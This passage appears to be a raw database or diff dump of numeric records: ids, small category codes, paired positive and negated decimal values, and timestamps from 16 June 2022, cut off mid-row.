+54537,4,14013,1.922715322,-1.922715322,2022-06-16 14:18:14.458975+00 +54538,4,13981,5.785672918,-5.785672918,2022-06-16 14:18:14.459899+00 +54539,4,13997,0.828864619,-0.828864619,2022-06-16 14:18:14.460807+00 +54540,4,14079,1.330158235,-1.330158235,2022-06-16 14:18:14.461774+00 +54542,4,14047,5.353490487,-5.353490487,2022-06-16 14:18:14.462723+00 +48219,1,12909,2.034475268,-2.034475268,2022-06-16 13:42:38.767534+00 +48220,1,12893,9.415603584,-9.415603584,2022-06-16 13:42:38.770897+00 +48221,1,12925,3.013485118,-3.013485118,2022-06-16 13:42:38.771695+00 +54543,4,14063,1.773006995,-1.773006995,2022-06-16 14:18:14.463581+00 +54560,1,14077,3.128235926,-3.128235926,2022-06-16 14:18:23.87667+00 +54561,1,14045,8.727247785,-8.727247785,2022-06-16 14:18:23.877779+00 +54562,1,14037,10.35810417,-10.35810417,2022-06-16 14:18:23.878478+00 +54563,1,14061,1.370243064,-1.370243064,2022-06-16 14:18:23.879105+00 +48319,2,12864,3.594973098,-3.594973098,2022-06-16 13:43:05.146408+00 +64670,6,15264,9.527723469,-9.527723469,2022-06-16 14:59:18.009055+00 +54613,3,13995,5.045195979,-5.045195979,2022-06-16 14:18:38.882623+00 +57968,4,14441,7.632027563,-7.632027563,2022-06-16 14:33:40.660948+00 +64683,7,15343,10.87069328,0,2022-06-16 14:59:22.390752+00 +60993,6,14958,2.109685908,-2.109685908,2022-06-16 14:46:20.645451+00 +54947,1,14110,5.007928035,-5.007928035,2022-06-16 14:20:29.949014+00 +51318,6,13437,1.450727409,-1.450727409,2022-06-16 13:58:34.99287+00 +54948,1,14056,14.13714836,-14.13714836,2022-06-16 14:20:29.952529+00 +54949,1,14126,1.694577879,-1.694577879,2022-06-16 14:20:29.953493+00 +48480,6,12907,2.916057652,-2.916057652,2022-06-16 13:44:06.938977+00 +54950,1,14142,1.521846594,-1.521846594,2022-06-16 14:20:29.954473+00 +54987,1,14143,1.687327075,-1.687327075,2022-06-16 14:20:50.923165+00 +51408,2,13355,4.109345218,-4.109345218,2022-06-16 13:59:14.505774+00 +54988,1,14079,1.683861973,-1.683861973,2022-06-16 14:20:50.924283+00 +54990,2,14064,1.900913491,0,2022-06-16 14:20:59.362065+00 +55025,3,13802,4.949550839,-4.949550839,2022-06-16 14:21:02.955689+00 +42462,6,11901,1.821015363,-1.821015363,2022-06-16 13:10:28.033299+00 +42486,1,11825,6.880941102,-6.880941102,2022-06-16 13:10:35.571896+00 +42487,1,11801,6.4170745,-6.4170745,2022-06-16 13:10:35.573183+00 +42488,1,11817,6.333974504,-6.333974504,2022-06-16 13:10:35.573986+00 +64214,7,15278,10.84078517,0,2022-06-16 14:57:55.021548+00 +46181,4,12465,11.60319366,-11.60319366,2022-06-16 13:30:47.47992+00 +46327,7,12336,10.59827338,0,2022-06-16 13:31:55.51547+00 +46341,3,12606,8.239093186,-8.239093186,2022-06-16 13:32:04.982917+00 +46404,4,12509,7.213894112,-7.213894112,2022-06-16 13:32:13.100926+00 +46405,4,12493,13.60203484,-13.60203484,2022-06-16 13:32:13.104442+00 +46406,4,12541,2.04864687,-2.04864687,2022-06-16 13:32:13.105476+00 +46407,4,12525,1.692250625,-1.692250625,2022-06-16 13:32:13.106335+00 +43756,4,12094,2.540012472,-2.540012472,2022-06-16 13:16:13.137229+00 +43757,4,12062,6.405748375,-6.405748375,2022-06-16 13:16:13.140832+00 +43758,4,12078,3.227448937,-3.227448937,2022-06-16 13:16:13.141695+00 +43759,4,12032,1.372795173,-1.372795173,2022-06-16 13:16:13.142508+00 +43760,4,12016,0.614648593,0,2022-06-16 13:16:13.143337+00 +43761,4,11896,7.756858149,-7.756858149,2022-06-16 13:16:13.144086+00 +43762,4,12087,10.71493167,-10.71493167,2022-06-16 13:16:13.144896+00 +43763,4,12086,11.32611264,-11.32611264,2022-06-16 13:16:13.145553+00 +43764,4,11997,7.780682666,-7.780682666,2022-06-16 13:16:13.146188+00 +43765,4,12013,1.986965492,-1.986965492,2022-06-16 13:16:13.146893+00 +43766,4,11981,14.03474524,-14.03474524,2022-06-16 13:16:13.147573+00 +43767,4,12029,2.2995915,-2.2995915,2022-06-16 13:16:13.148217+00 +43768,4,12079,2.985822317,-2.985822317,2022-06-16 13:16:13.1488+00 +43769,4,12055,13.80866224,-13.80866224,2022-06-16 13:16:13.149451+00 +43770,4,12054,14.5127928,-14.5127928,2022-06-16 13:16:13.150132+00 +43771,4,12063,6.221432856,-6.221432856,2022-06-16 13:16:13.150828+00 +43772,4,12095,2.309910144,-2.309910144,2022-06-16 13:16:13.151509+00 +46411,4,12522,6.099899179,-6.099899179,2022-06-16 13:32:17.115084+00 +46450,4,12499,6.42759118,-6.42759118,2022-06-16 13:32:29.825543+00 +43920,2,12062,7.884024485,-7.884024485,2022-06-16 13:17:05.110182+00 +46451,4,12558,16.39105775,-16.39105775,2022-06-16 13:32:29.826757+00 +64760,1,15317,9.525384362,-9.525384362,2022-06-16 14:59:45.1957+00 +57362,2,14447,2.157790119,-2.157790119,2022-06-16 14:31:05.839268+00 +44111,3,12095,8.194675853,-8.194675853,2022-06-16 13:18:05.159161+00 +53536,4,13656,7.914990091,-7.914990091,2022-06-16 14:11:30.747525+00 +57432,3,14354,22.56272775,-22.56272775,2022-06-16 14:31:36.366881+00 +44281,6,12159,4.525751608,-4.525751608,2022-06-16 13:18:49.929152+00 +44287,7,12010,6.513170142,-6.513170142,2022-06-16 13:18:52.587711+00 +49965,6,13197,11.0045837,-11.0045837,2022-06-16 13:52:05.851276+00 +50009,4,13239,9.823308986,-9.823308986,2022-06-16 13:52:14.829293+00 +50097,7,13168,10.74758815,0,2022-06-16 13:52:49.850889+00 +50153,2,13246,2.522543617,-2.522543617,2022-06-16 13:53:05.671004+00 +44554,6,12181,7.794827517,-7.794827517,2022-06-16 13:20:16.797857+00 +44582,4,12175,14.88124164,-14.88124164,2022-06-16 13:20:19.789512+00 +61071,6,14925,10.13118595,-10.13118595,2022-06-16 14:46:44.325387+00 +44609,4,12147,9.310421513,-9.310421513,2022-06-16 13:20:22.484405+00 +44610,4,12107,12.99142885,-12.99142885,2022-06-16 13:20:22.485613+00 +44611,4,12123,4.330354015,-4.330354015,2022-06-16 13:20:22.486385+00 +44612,4,12139,1.372314713,-1.372314713,2022-06-16 13:20:22.487284+00 +44613,4,11992,8.476069383,-8.476069383,2022-06-16 13:20:22.488062+00 +57722,1,14464,0.802703383,-0.802703383,2022-06-16 14:32:36.009669+00 +44743,2,12139,4.873474808,-4.873474808,2022-06-16 13:21:19.488333+00 +54070,2,13934,2.848148074,-2.848148074,2022-06-16 14:15:05.572147+00 +57723,1,14392,7.023338807,-7.023338807,2022-06-16 14:32:36.013247+00 +57724,1,14432,4.048837526,-4.048837526,2022-06-16 14:32:36.014085+00 +44915,2,12224,3.661297198,-3.661297198,2022-06-16 13:23:04.761733+00 +57738,3,14189,3.25633596,0,2022-06-16 14:32:44.015899+00 +47497,4,12714,5.863788054,-5.863788054,2022-06-16 13:38:17.067374+00 +47514,1,12728,6.316349969,-6.316349969,2022-06-16 13:38:26.753501+00 +47515,1,12696,6.927244457,-6.927244457,2022-06-16 13:38:26.755042+00 +45055,6,12203,3.326415636,-3.326415636,2022-06-16 13:23:37.262212+00 +47516,1,12704,4.870798888,-4.870798888,2022-06-16 13:38:26.755981+00 +50417,4,13016,8.116216982,-8.116216982,2022-06-16 13:54:20.834764+00 +47579,6,12757,7.153284727,-7.153284727,2022-06-16 13:38:50.47034+00 +50446,7,13232,10.73433351,0,2022-06-16 13:54:26.804935+00 +50463,6,13243,2.494499611,-2.494499611,2022-06-16 13:54:29.857909+00 +54219,6,14013,1.525141024,-1.525141024,2022-06-16 14:16:08.661696+00 +57757,1,14328,7.001689658,-7.001689658,2022-06-16 14:32:50.983751+00 +47722,4,12713,10.50290494,-10.50290494,2022-06-16 13:39:58.232776+00 +54350,2,13952,3.464590747,-3.464590747,2022-06-16 14:17:05.222858+00 +54351,2,13913,10.49698332,-10.49698332,2022-06-16 14:17:05.226019+00 +54352,2,13914,10.68207506,-10.68207506,2022-06-16 14:17:05.226869+00 +45445,3,12334,10.1306494,-10.1306494,2022-06-16 13:26:05.816403+00 +54353,2,13937,11.19287756,-11.19287756,2022-06-16 14:17:05.227653+00 +61587,6,15039,3.067475741,-3.067475741,2022-06-16 14:48:44.975167+00 +51007,2,13375,2.429200115,-2.429200115,2022-06-16 13:57:05.897026+00 +48139,6,12909,1.060884601,-1.060884601,2022-06-16 13:42:08.052446+00 +51117,1,13351,19.04300729,-19.04300729,2022-06-16 13:57:56.78737+00 +48174,1,12926,2.037705033,-2.037705033,2022-06-16 13:42:17.743687+00 +48175,1,12910,2.59892224,-2.59892224,2022-06-16 13:42:17.745158+00 +48198,6,12926,3.809436679,-3.809436679,2022-06-16 13:42:20.454467+00 +48205,1,12840,14.87632828,-14.87632828,2022-06-16 13:42:23.743809+00 +51118,1,13287,18.97684115,-18.97684115,2022-06-16 13:57:56.790984+00 +51119,1,13223,18.91084285,-18.91084285,2022-06-16 13:57:56.792032+00 +51120,1,13023,6.95320188,-6.95320188,2022-06-16 13:57:56.792808+00 +48301,4,12704,5.869342966,-5.869342966,2022-06-16 13:42:56.245575+00 +54951,4,14035,5.533579781,-5.533579781,2022-06-16 14:20:30.510987+00 +48327,6,12587,2.977389379,-2.977389379,2022-06-16 13:43:05.30427+00 +48328,6,12651,2.967717034,-2.967717034,2022-06-16 13:43:05.305554+00 +48329,6,12715,2.958078731,-2.958078731,2022-06-16 13:43:05.306332+00 +48330,6,12779,2.948474227,-2.948474227,2022-06-16 13:43:05.307168+00 +48331,6,12843,2.938903281,-2.938903281,2022-06-16 13:43:05.307904+00 +48357,2,12927,2.679465308,-2.679465308,2022-06-16 13:43:05.933674+00 +42463,4,11795,6.921314646,-6.921314646,2022-06-16 13:10:29.937828+00 +49108,4,12987,1.023990868,-1.023990868,2022-06-16 13:47:20.958002+00 +42468,6,11824,1.95024801,0,2022-06-16 13:10:32.257398+00 +42490,1,11861,12.49162294,-12.49162294,2022-06-16 13:10:38.571127+00 +42491,1,11803,6.52513003,-6.52513003,2022-06-16 13:10:38.572343+00 +42492,1,11827,12.97430334,-12.97430334,2022-06-16 13:10:38.573079+00 +46092,6,12526,5.265485586,-5.265485586,2022-06-16 13:30:20.793434+00 +56778,3,14290,22.49728742,-22.49728742,2022-06-16 14:29:03.92065+00 +46182,1,12465,6.180337762,-6.180337762,2022-06-16 13:30:47.719332+00 +43209,3,11899,6.990289333,-6.990289333,2022-06-16 13:13:58.168631+00 +46183,1,12457,5.692546886,-5.692546886,2022-06-16 13:30:47.722766+00 +46184,1,12449,10.06797882,-10.06797882,2022-06-16 13:30:47.723643+00 +46185,1,12441,5.746235331,-5.746235331,2022-06-16 13:30:47.724596+00 +46186,1,12501,11.92522018,-11.92522018,2022-06-16 13:30:47.725605+00 +46187,1,12473,5.670518279,-5.670518279,2022-06-16 13:30:47.726481+00 +53465,6,13760,3.720690675,-3.720690675,2022-06-16 14:11:03.181213+00 +49918,4,13097,9.640122368,-9.640122368,2022-06-16 13:51:55.653695+00 +57433,4,14368,5.261407764,-5.261407764,2022-06-16 14:31:36.379366+00 +44229,2,12093,4.973158108,-4.973158108,2022-06-16 13:18:24.5263+00 +44238,3,11821,5.718961496,-5.718961496,2022-06-16 13:18:34.200297+00 +57476,4,14361,7.792138552,-7.792138552,2022-06-16 14:31:41.283372+00 +50098,6,12970,5.545064127,-5.545064127,2022-06-16 13:52:49.956573+00 +50101,1,13170,11.05518854,-11.05518854,2022-06-16 13:52:53.75267+00 +50102,1,13146,10.76705252,-10.76705252,2022-06-16 13:52:53.753901+00 +50103,1,13155,19.97026387,-19.97026387,2022-06-16 13:52:53.754718+00 +47214,6,12672,4.048558664,-4.048558664,2022-06-16 13:36:45.916009+00 +44555,1,12206,3.098331224,-3.098331224,2022-06-16 13:20:17.630164+00 +44556,1,12222,2.422494573,-2.422494573,2022-06-16 13:20:17.633651+00 +44583,1,12207,3.517425176,-3.517425176,2022-06-16 13:20:20.629592+00 +44584,1,12223,2.723694081,-2.723694081,2022-06-16 13:20:20.630814+00 +50104,1,13171,11.52981513,-11.52981513,2022-06-16 13:52:53.755484+00 +44614,1,12136,15.31876652,-15.31876652,2022-06-16 13:20:23.630198+00 +53749,6,13854,9.376379845,-9.376379845,2022-06-16 14:13:02.598+00 +44703,2,12207,4.0116293,-4.0116293,2022-06-16 13:21:05.415485+00 +50157,1,13176,6.012367131,-6.012367131,2022-06-16 13:53:05.759823+00 +44744,4,12121,11.59789122,-11.59789122,2022-06-16 13:21:22.780376+00 +44745,4,12137,11.46483463,-11.46483463,2022-06-16 13:21:22.78381+00 +57477,4,14385,8.369338937,-8.369338937,2022-06-16 14:31:41.284538+00 +44864,4,12202,6.471488303,-6.471488303,2022-06-16 13:22:21.304328+00 +47499,4,12783,2.387658763,-2.387658763,2022-06-16 13:38:20.688923+00 +61145,4,14967,9.976666378,-9.976666378,2022-06-16 14:47:02.348689+00 +45056,4,12201,11.30460937,-11.30460937,2022-06-16 13:23:41.772338+00 +50419,4,13271,12.80520955,-12.80520955,2022-06-16 13:54:22.417576+00 +50420,4,13302,10.52229162,-10.52229162,2022-06-16 13:54:22.418396+00 +50447,4,13211,4.190115848,-4.190115848,2022-06-16 13:54:26.997627+00 +50465,6,13269,6.638126059,-6.638126059,2022-06-16 13:54:31.512664+00 +45281,6,12243,13.30787723,-13.30787723,2022-06-16 13:24:37.652909+00 +50466,1,13277,9.187337143,-9.187337143,2022-06-16 13:54:32.754792+00 +50467,1,13309,2.934885805,-2.934885805,2022-06-16 13:54:32.756007+00 +50468,1,12988,12.96187003,-12.96187003,2022-06-16 13:54:32.756758+00 +47796,1,12830,5.911348711,-5.911348711,2022-06-16 13:40:11.744088+00 +47797,1,12768,4.860510065,-4.860510065,2022-06-16 13:40:11.747499+00 +47798,1,12784,0.485221788,0,2022-06-16 13:40:11.748393+00 +50469,1,12956,12.84239985,-12.84239985,2022-06-16 13:54:32.757508+00 +50470,1,13293,1.846683293,-1.846683293,2022-06-16 13:54:32.758289+00 +45535,6,12352,4.048803583,-4.048803583,2022-06-16 13:26:25.313226+00 +47874,6,12845,1.166755174,-1.166755174,2022-06-16 13:40:35.378295+00 +50471,1,13052,12.88128258,-12.88128258,2022-06-16 13:54:32.759018+00 +50506,1,13212,12.55148043,-12.55148043,2022-06-16 13:54:44.755203+00 +47952,2,12863,2.723982485,-2.723982485,2022-06-16 13:41:05.905229+00 +50507,1,13244,12.61964861,-12.61964861,2022-06-16 13:54:44.7563+00 +54220,1,13947,1.064978246,-1.064978246,2022-06-16 14:16:08.898776+00 +50641,2,13243,3.919772544,-3.919772544,2022-06-16 13:55:14.505363+00 +54221,1,13931,1.166858408,-1.166858408,2022-06-16 14:16:08.902045+00 +54406,2,13938,10.97568288,-10.97568288,2022-06-16 14:17:09.425374+00 +48140,4,12926,1.909648174,-1.909648174,2022-06-16 13:42:09.630182+00 +48141,4,12910,2.438407202,-2.438407202,2022-06-16 13:42:09.633624+00 +48202,4,12811,13.43228451,-13.43228451,2022-06-16 13:42:23.430358+00 +48203,4,12827,4.235045589,-4.235045589,2022-06-16 13:42:23.431415+00 +48204,4,12843,1.146643742,-1.146643742,2022-06-16 13:42:23.432381+00 +58212,6,14557,4.349910778,-4.349910778,2022-06-16 14:34:32.905679+00 +54665,2,14062,2.657206619,-2.657206619,2022-06-16 14:19:05.240688+00 +48302,1,12856,6.206666775,-6.206666775,2022-06-16 13:42:56.745006+00 +50980,2,13343,8.376181106,-8.376181106,2022-06-16 13:57:05.385124+00 +48335,6,12859,2.738508161,-2.738508161,2022-06-16 13:43:05.402061+00 +61740,2,14971,2.299609034,0,2022-06-16 14:49:14.567293+00 +48370,2,12843,4.451299019,-4.451299019,2022-06-16 13:43:14.420608+00 +54845,2,13977,10.31134639,-10.31134639,2022-06-16 14:20:05.111577+00 +54846,2,13978,11.0150983,-11.0150983,2022-06-16 14:20:05.115131+00 +48420,3,12927,6.962315244,-6.962315244,2022-06-16 13:44:04.114615+00 +48421,3,12991,6.916703503,-6.916703503,2022-06-16 13:44:04.117936+00 +54883,3,14127,7.656541567,-7.656541567,2022-06-16 14:20:06.285806+00 +58526,3,14590,7.380526561,-7.380526561,2022-06-16 14:36:04.108872+00 +48457,3,12974,9.391875764,-9.391875764,2022-06-16 13:44:05.851106+00 +51215,4,13240,7.346629388,-7.346629388,2022-06-16 13:58:12.857449+00 +51216,4,13438,1.663481462,-1.663481462,2022-06-16 13:58:12.860723+00 +51217,4,13439,1.550871888,-1.550871888,2022-06-16 13:58:12.861544+00 +51218,4,13406,5.317607508,-5.317607508,2022-06-16 13:58:12.862327+00 +51219,4,13341,6.366928745,-6.366928745,2022-06-16 13:58:12.863161+00 +51220,4,13325,12.95978248,-12.95978248,2022-06-16 13:58:12.863904+00 +51221,4,13423,2.027243454,-2.027243454,2022-06-16 13:58:12.864647+00 +51222,4,13373,1.882119012,-1.882119012,2022-06-16 13:58:12.865342+00 +51223,4,13407,5.695567739,-5.695567739,2022-06-16 13:58:12.866015+00 +48564,6,12912,2.027808759,0,2022-06-16 13:44:18.919978+00 +42469,1,11869,9.993569172,-9.993569172,2022-06-16 13:10:32.570785+00 +42474,6,11795,13.44994902,-13.44994902,2022-06-16 13:10:32.98599+00 +60300,6,14698,4.125117061,-4.125117061,2022-06-16 14:43:40.493454+00 +60314,4,14769,7.852931934,-7.852931934,2022-06-16 14:43:46.263218+00 +53037,3,13742,8.653831676,-8.653831676,2022-06-16 14:08:06.699769+00 +42480,6,11819,3.621090403,-3.621090403,2022-06-16 13:10:33.286194+00 +60333,6,14762,4.102747507,-4.102747507,2022-06-16 14:43:53.150688+00 +49593,3,13166,9.200191111,-9.200191111,2022-06-16 13:50:07.512388+00 +42485,6,11835,3.138074751,-3.138074751,2022-06-16 13:10:33.48063+00 +42489,3,11581,6.751832659,-6.751832659,2022-06-16 13:10:36.470267+00 +42493,1,11824,0.529897973,0,2022-06-16 13:10:41.571359+00 +42494,1,11802,12.68684825,-12.68684825,2022-06-16 13:10:41.572679+00 +42495,1,11809,9.793612274,-9.793612274,2022-06-16 13:10:41.573521+00 +42496,1,11840,1.221087752,-1.221087752,2022-06-16 13:10:41.574511+00 +42497,1,11810,12.94040811,-12.94040811,2022-06-16 13:10:41.575305+00 +42498,1,11826,12.73929435,-12.73929435,2022-06-16 13:10:41.576102+00 +42499,1,11818,4.631956425,-4.631956425,2022-06-16 13:10:41.576777+00 +42500,1,11811,20.72406296,-20.72406296,2022-06-16 13:10:41.577426+00 +42501,1,11833,6.315261145,-6.315261145,2022-06-16 13:10:41.578076+00 +42502,1,11804,14.28452937,-14.28452937,2022-06-16 13:10:44.595631+00 +42503,1,11820,14.25286083,-14.25286083,2022-06-16 13:10:44.599908+00 +42504,1,11836,14.22496139,-14.22496139,2022-06-16 13:10:44.601016+00 +53230,2,13696,3.559781075,-3.559781075,2022-06-16 14:09:05.093129+00 +46604,6,12591,5.247112106,-5.247112106,2022-06-16 13:33:26.502473+00 +49673,3,13115,5.94743679,-5.94743679,2022-06-16 13:50:22.900239+00 +46721,3,12587,6.950536722,-6.950536722,2022-06-16 13:34:11.804026+00 +53231,2,13657,11.01092312,-11.01092312,2022-06-16 14:09:05.096661+00 +53232,2,13658,11.00115767,-11.00115767,2022-06-16 14:09:05.09757+00 +53233,2,13682,11.27054588,-11.27054588,2022-06-16 14:09:05.09836+00 +43863,6,12078,5.774689167,-5.774689167,2022-06-16 13:16:41.761279+00 +53234,2,13742,2.954440771,-2.954440771,2022-06-16 14:09:05.09924+00 +57199,6,14463,3.095351438,-3.095351438,2022-06-16 14:30:24.742654+00 +64571,3,15291,3.259304189,0,2022-06-16 14:59:03.517461+00 +47087,3,12654,9.775045766,-9.775045766,2022-06-16 13:36:05.927882+00 +44233,4,12051,6.769279168,-6.769279168,2022-06-16 13:18:29.325841+00 +50214,2,13179,3.961878145,-3.961878145,2022-06-16 13:53:14.429323+00 +47215,1,12719,3.11087192,-3.11087192,2022-06-16 13:36:50.739143+00 +47294,2,12651,4.554198931,-4.554198931,2022-06-16 13:37:14.474539+00 +50259,6,13231,4.629549725,-4.629549725,2022-06-16 13:53:26.150721+00 +44559,6,12189,6.003431387,-6.003431387,2022-06-16 13:20:18.759608+00 +53823,2,13819,3.420156173,-3.420156173,2022-06-16 14:13:14.537804+00 +44746,4,12145,12.2037062,-12.2037062,2022-06-16 13:21:24.125061+00 +47503,4,12568,8.261964601,-8.261964601,2022-06-16 13:38:23.568459+00 +47504,4,12715,1.192245884,-1.192245884,2022-06-16 13:38:23.571872+00 +44865,2,12266,4.189350426,-4.189350426,2022-06-16 13:22:23.250152+00 +47505,4,12723,8.998606,-8.998606,2022-06-16 13:38:23.572898+00 +47535,4,12691,6.407545374,-6.407545374,2022-06-16 13:38:32.71358+00 +44987,6,12208,1.984239598,0,2022-06-16 13:23:16.503628+00 +47536,4,12632,8.244269888,-8.244269888,2022-06-16 13:38:32.71483+00 +50473,6,13277,5.143630587,-5.143630587,2022-06-16 13:54:33.746279+00 +50508,1,13203,8.050873697,-8.050873697,2022-06-16 13:54:47.76862+00 +54222,4,13982,5.043843197,-5.043843197,2022-06-16 14:16:09.784575+00 +47799,6,12650,5.9342448,-5.9342448,2022-06-16 13:40:12.425446+00 +47837,3,12784,2.67969002,0,2022-06-16 13:40:16.908894+00 +47838,3,12848,2.677565215,0,2022-06-16 13:40:16.913104+00 +47844,4,12778,5.796744208,-5.796744208,2022-06-16 13:40:17.395041+00 +54223,4,14014,1.422512628,-1.422512628,2022-06-16 14:16:09.78883+00 +47851,4,12779,1.16983042,-1.16983042,2022-06-16 13:40:23.056492+00 +45537,6,12365,11.49689634,-11.49689634,2022-06-16 13:26:25.540837+00 +45553,4,12307,6.632057918,-6.632057918,2022-06-16 13:26:30.839334+00 +47852,4,12763,4.249961173,-4.249961173,2022-06-16 13:40:23.057764+00 +47853,4,12747,13.38319737,-13.38319737,2022-06-16 13:40:23.058608+00 +54224,4,14015,1.348843319,-1.348843319,2022-06-16 14:16:09.78974+00 +47875,7,12714,5.688336962,-5.688336962,2022-06-16 13:40:36.343953+00 +50800,6,13373,1.472762753,-1.472762753,2022-06-16 13:56:15.369953+00 +54225,4,13999,1.807656597,-1.807656597,2022-06-16 14:16:09.790696+00 +47993,6,12800,4.025190147,-4.025190147,2022-06-16 13:41:13.665831+00 +50948,6,13291,2.655214994,-2.655214994,2022-06-16 13:57:04.773507+00 +48081,4,12777,10.35955796,-10.35955796,2022-06-16 13:41:57.805204+00 +48082,4,12761,10.34724039,-10.34724039,2022-06-16 13:41:57.808689+00 +61695,2,15007,7.212672051,-7.212672051,2022-06-16 14:49:05.680598+00 +58485,4,14505,7.529713813,-7.529713813,2022-06-16 14:35:47.957273+00 +48242,6,12927,3.886758271,-3.886758271,2022-06-16 13:42:41.136324+00 +51247,6,13355,2.633425091,-2.633425091,2022-06-16 13:58:21.455015+00 +51276,1,13331,7.932405274,-7.932405274,2022-06-16 13:58:26.760811+00 +61825,4,14953,7.02516912,-7.02516912,2022-06-16 14:49:32.647034+00 +48303,1,12824,6.816006876,-6.816006876,2022-06-16 13:42:59.769591+00 +54884,4,14064,0.616070097,0,2022-06-16 14:20:07.736772+00 +54893,4,14077,1.910575202,-1.910575202,2022-06-16 14:20:13.224257+00 +48349,1,12832,4.800089459,-4.800089459,2022-06-16 13:43:05.744288+00 +51321,1,13398,13.52962904,-13.52962904,2022-06-16 13:58:41.786908+00 +51322,1,13344,4.540965505,-4.540965505,2022-06-16 13:58:41.790332+00 +51323,1,13431,11.46677712,-11.46677712,2022-06-16 13:58:41.791309+00 +51324,1,13397,11.22571464,-11.22571464,2022-06-16 13:58:41.792119+00 +51325,1,13368,5.869735378,-5.869735378,2022-06-16 13:58:41.792921+00 +54894,4,14029,12.47758389,-12.47758389,2022-06-16 14:20:13.225512+00 +54895,4,14045,5.739349308,-5.739349308,2022-06-16 14:20:13.226396+00 +54921,1,14060,11.69278647,-11.69278647,2022-06-16 14:20:17.92343+00 +51395,2,13354,3.117925859,-3.117925859,2022-06-16 13:59:05.882457+00 +48470,3,12975,8.581555501,-8.581555501,2022-06-16 13:44:06.052341+00 +48482,6,12923,2.727671213,-2.727671213,2022-06-16 13:44:07.089656+00 +51396,2,13361,12.45264973,-12.45264973,2022-06-16 13:59:05.886819+00 +54922,1,14059,1.113722814,-1.113722814,2022-06-16 14:20:17.924749+00 +54923,1,14065,4.824020653,-4.824020653,2022-06-16 14:20:17.925539+00 +54924,1,14043,5.542803687,-5.542803687,2022-06-16 14:20:17.92623+00 +48580,6,12957,5.391342607,-5.391342607,2022-06-16 13:44:20.873834+00 +48598,4,12883,6.215661786,-6.215661786,2022-06-16 13:44:30.261443+00 +49023,2,12992,3.696270066,-3.696270066,2022-06-16 13:47:05.148447+00 +60219,2,14779,2.297556889,0,2022-06-16 14:43:14.565938+00 +52875,6,13663,10.69808997,-10.69808997,2022-06-16 14:07:12.801471+00 +60239,4,14712,9.486710681,-9.486710681,2022-06-16 14:43:18.834089+00 +64336,4,15189,5.887211803,-5.887211803,2022-06-16 14:58:14.556323+00 +64337,4,15253,5.87214436,-5.87214436,2022-06-16 14:58:14.559743+00 +49753,3,13104,2.715831433,0,2022-06-16 13:51:01.386886+00 +53752,6,13870,3.902315187,-3.902315187,2022-06-16 14:13:02.830326+00 +60999,6,14975,3.036913998,-3.036913998,2022-06-16 14:46:20.855203+00 +53939,6,13934,3.84422747,-3.84422747,2022-06-16 14:14:12.82631+00 +54226,1,13982,5.06058288,-5.06058288,2022-06-16 14:16:11.896229+00 +61535,2,14957,2.729222119,0,2022-06-16 14:48:24.426464+00 +58441,6,14480,26.54878254,-26.54878254,2022-06-16 14:35:21.762846+00 +50804,4,13290,5.174493425,-5.174493425,2022-06-16 13:56:15.882055+00 +50912,3,13202,22.09567058,-22.09567058,2022-06-16 13:56:37.509418+00 +54713,2,13995,3.545673154,-3.545673154,2022-06-16 14:19:14.421171+00 +61826,4,14937,7.08752139,-7.08752139,2022-06-16 14:49:32.650611+00 +58619,2,14573,2.64795976,0,2022-06-16 14:36:19.432626+00 +58648,1,14655,1.666585854,-1.666585854,2022-06-16 14:36:24.032601+00 +54892,7,13871,19.32509655,-19.32509655,2022-06-16 14:20:12.943437+00 +58649,1,14638,1.291735942,-1.291735942,2022-06-16 14:36:24.033773+00 +54952,7,14063,18.38786503,-18.38786503,2022-06-16 14:20:31.251085+00 +58650,1,14592,0.78770629,-0.78770629,2022-06-16 14:36:24.034593+00 +58651,1,14639,1.542137281,-1.542137281,2022-06-16 14:36:24.035348+00 +58652,1,14576,0.458272945,0,2022-06-16 14:36:24.036073+00 +55066,2,14142,2.279361215,-2.279361215,2022-06-16 14:21:05.574334+00 +61827,4,14961,7.617847097,-7.617847097,2022-06-16 14:49:32.65167+00 +51326,4,13144,8.04372684,-8.04372684,2022-06-16 13:58:46.470864+00 +58801,1,14560,4.002071445,-4.002071445,2022-06-16 14:37:06.067552+00 +58938,6,14570,4.277422158,-4.277422158,2022-06-16 14:37:52.868386+00 +51457,6,13423,4.550646911,-4.550646911,2022-06-16 13:59:31.749291+00 +62068,6,15087,1.931008421,-1.931008421,2022-06-16 14:50:19.071778+00 +51467,6,13439,3.548519876,-3.548519876,2022-06-16 13:59:32.109751+00 +62092,7,14894,12.78061179,-12.78061179,2022-06-16 14:50:28.624796+00 +51487,4,13361,9.988016479,-9.988016479,2022-06-16 13:59:53.6422+00 +59136,4,14647,10.03777163,-10.03777163,2022-06-16 14:38:47.012127+00 +59137,4,14711,10.0052679,-10.0052679,2022-06-16 14:38:47.015537+00 +59168,6,14686,8.620762704,-8.620762704,2022-06-16 14:38:59.011984+00 +51534,1,13469,9.049152701,-9.049152701,2022-06-16 14:00:05.795488+00 +51535,1,13485,1.748039197,-1.748039197,2022-06-16 14:00:05.804997+00 +55536,2,14175,7.746412188,-7.746412188,2022-06-16 14:23:10.153458+00 +51553,3,13423,7.986467193,-7.986467193,2022-06-16 14:00:06.461703+00 +51554,3,13487,7.934925408,-7.934925408,2022-06-16 14:00:06.465102+00 +51564,1,13403,5.675591305,-5.675591305,2022-06-16 14:00:11.799217+00 +51565,1,13419,1.375030384,-1.375030384,2022-06-16 14:00:11.802399+00 +51566,1,13435,1.26975673,-1.26975673,2022-06-16 14:00:11.803434+00 +51567,1,13426,10.64109444,-10.64109444,2022-06-16 14:00:11.804172+00 +51568,1,13402,10.38604722,-10.38604722,2022-06-16 14:00:11.804886+00 +51569,1,13418,2.7428414,-2.7428414,2022-06-16 14:00:11.805865+00 +51570,1,13427,11.30232712,-11.30232712,2022-06-16 14:00:11.806645+00 +51571,1,13440,0.947770623,-0.947770623,2022-06-16 14:00:11.807226+00 +51572,4,13487,1.993389015,-1.993389015,2022-06-16 14:00:13.341399+00 +51573,4,13389,12.97876281,-12.97876281,2022-06-16 14:00:13.342694+00 +51574,4,13503,1.518995948,-1.518995948,2022-06-16 14:00:13.343637+00 +51575,4,13471,5.717443916,-5.717443916,2022-06-16 14:00:13.344535+00 +51576,4,13405,6.286659965,-6.286659965,2022-06-16 14:00:13.345455+00 +51577,4,13437,1.863158034,-1.863158034,2022-06-16 14:00:13.34634+00 +51606,4,13435,0.897893324,-0.897893324,2022-06-16 14:00:20.333582+00 +51607,4,13427,8.786061386,-8.786061386,2022-06-16 14:00:20.335238+00 +51608,4,13387,13.86617414,-13.86617414,2022-06-16 14:00:20.336139+00 +59380,3,14719,6.751835236,-6.751835236,2022-06-16 14:40:05.05204+00 +59381,3,14783,6.70010839,-6.70010839,2022-06-16 